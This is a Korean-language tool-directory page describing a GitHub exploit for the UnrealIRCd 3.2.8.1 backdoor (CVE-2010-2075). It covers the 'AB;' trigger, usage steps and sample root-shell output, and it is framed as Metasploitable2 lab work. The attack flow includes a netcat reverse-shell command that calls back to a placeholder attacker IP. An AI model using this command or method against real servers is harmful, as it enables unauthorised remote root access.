Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2010-2075 — UnrealIRCd 3.2.8.1 백도어 익스플로잇 — AB를 통한 리버스 셸; 트리거, Metasploit 없이 Python에서 raw 소켓을 사용해 처음부터 작성. | Kitploit
도구/GitHubGitHub/rushikesh-a-bhujbal/cve-2010-2075
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingSupply Chain SecurityLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
GitHub
110시간 36분 전아직 검토되지 않음
rushikesh-a-bhujbal/cve-2010-2075

CVE-2010-2075

UnrealIRCd 3.2.8.1 백도어 익스플로잇 — AB를 통한 리버스 셸; 트리거, Metasploit 없이 Python에서 raw 소켓을 사용해 처음부터 작성.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2010-2075 — UnrealIRCd 3.2.8.1 백도어 익스플로잇

Python Platform Target License


개요

UnrealIRCd는 오픈소스 IRC(Internet Relay Chat) 서버로, 초기 채팅 플랫폼과 유사하게 네트워크를 통해 사용자들이 실시간으로 통신할 수 있게 해주는 프로토콜입니다.

2009~2010년에 걸쳐, 공식 다운로드 미러를 통해 배포된 UnrealIRCd 3.2.8.1이 침해당한 사실이 발견되었습니다. 공격자는 정상 소스 코드를 숨겨진 명령 실행 트리거가 포함된 백도어 버전으로 교체했습니다.

이는 공급망 공격으로, CVE-2011-2523(vsftpd 2.3.4)과 본질적으로 동일합니다. 사용자가 다운로드하기 전에 정상 소프트웨어가 악의적으로 변조된 버전으로 교체된 것입니다.


백도어 동작 방식

백도어는 포트 6667로 들어오는 모든 데이터를 감시합니다. 입력이 문자열 AB;로 시작하면, 그 뒤의 모든 내용이 system()에 직접 전달되어 모든 IRC 로직, 인증, 등록 검사를 완전히 우회합니다.

트리거는 IRC 서버가 클라이언트를 등록하기도 전인 연결 초기화 단계에서 발동합니다. NICK도, USER도, 인증도 필요하지 않습니다.

공격 흐름:

root@kitploit:~
Attacker (Kali)                    Target (Metasploitable2)
                                   
1. s1 connects to port 6667   
   NICK + USER handshake      →    Server sends full banner
   Read banner, check version  
   Confirm Unreal3.2.8.1      
                                   
2. Open listener on port 4444  
   (waiting for incoming shell)
                                   
3. s2 connects to port 6667   →    AB; nc -e /bin/bash KALI_IP 4444
                               →    system() executes immediately
                               →    netcat spawns bash, connects back
                                   
4. listener.accept()          ←    Incoming root shell connection
   Interactive root shell      

리버스 셸 vs 바인드 셸

이 익스플로잇은 리버스 셸을 사용합니다. 즉, 공격자가 대상의 포트에 연결하는 것이 아니라 대상이 공격자에게 다시 연결합니다.

유형방향사용 사례
바인드 셸공격자 → 대상CVE-2011-2523 (vsftpd)
리버스 셸대상 → 공격자CVE-2010-2075 (UnrealIRCd)

리버스 셸은 인바운드 방화벽 규칙을 우회합니다. 대상에서 나가는 아웃바운드 연결은 차단되는 경우가 드물기 때문입니다.


요구 사항

  • Python 3.x
  • 외부 라이브러리 불필요 — 표준 라이브러리만 사용
  • 대상에 netcat 설치 필요 (Metasploitable2에는 기본 포함)
  • 대상: UnrealIRCd 3.2.8.1이 실행 중인 Metasploitable2

사용법

root@kitploit:~
git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075

main.py를 편집하여 다음을 설정하세요:

root@kitploit:~
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"

실행:

root@kitploit:~
python3 main.py

출력 예시:

root@kitploit:~
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit

오류 처리

시나리오동작
포트 6667 닫힘"Port Closed" 출력 후 정상 종료
버전 불일치"Not vulnerable" 출력 후 정상 종료
대상이 콜백하지 않음listener.accept()가 대기 (필요 시 타임아웃 추가)
명령이 출력을 생성하지 않음recv()가 조용히 타임아웃되고 프롬프트로 복귀

CVE-2011-2523과의 주요 차이점

CVE-2011-2523 (vsftpd)CVE-2010-2075 (UnrealIRCd)
프로토콜FTP (포트 21)IRC (포트 6667)
트리거사용자 이름에 :)모든 입력의 AB; 접두사
셸 유형바인드 셸 (포트 6200)리버스 셸 (공격자 포트)
연결아웃바운드 2개아웃바운드 1개 + 인바운드 1개

테스트 환경

  • Metasploitable2 (의도적으로 취약하게 구성된 VM)
  • UnrealIRCd 3.2.8.1
  • Linux metasploitable 2.6.24-16-server

법적 고지

이 익스플로잇은 오직 교육 목적과 승인된 보안 연구를 위해서만 개발되었습니다.

완전히 격리된 실습 환경의 로컬 Metasploitable2 가상 머신에서만 구축 및 테스트되었습니다.

본인이 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 이 코드를 사용하지 마십시오. 무단 사용은 컴퓨터 사기 및 남용법(CFAA) 및 전 세계의 동등한 법률에 따라 불법입니다.

작성자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.


참고 자료

  • CVE 레코드: https://www.cve.org/CVERecord?id=CVE-2010-2075
  • NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2010-2075
  • 최초 공개: https://www.exploit-db.com/exploits/13853
  • Metasploitable2: https://sourceforge.net/projects/metasploitable/

작성자

Rushikesh Bhujbal
보안 연구 및 익스플로잇 개발
GitHub

도구 다운로드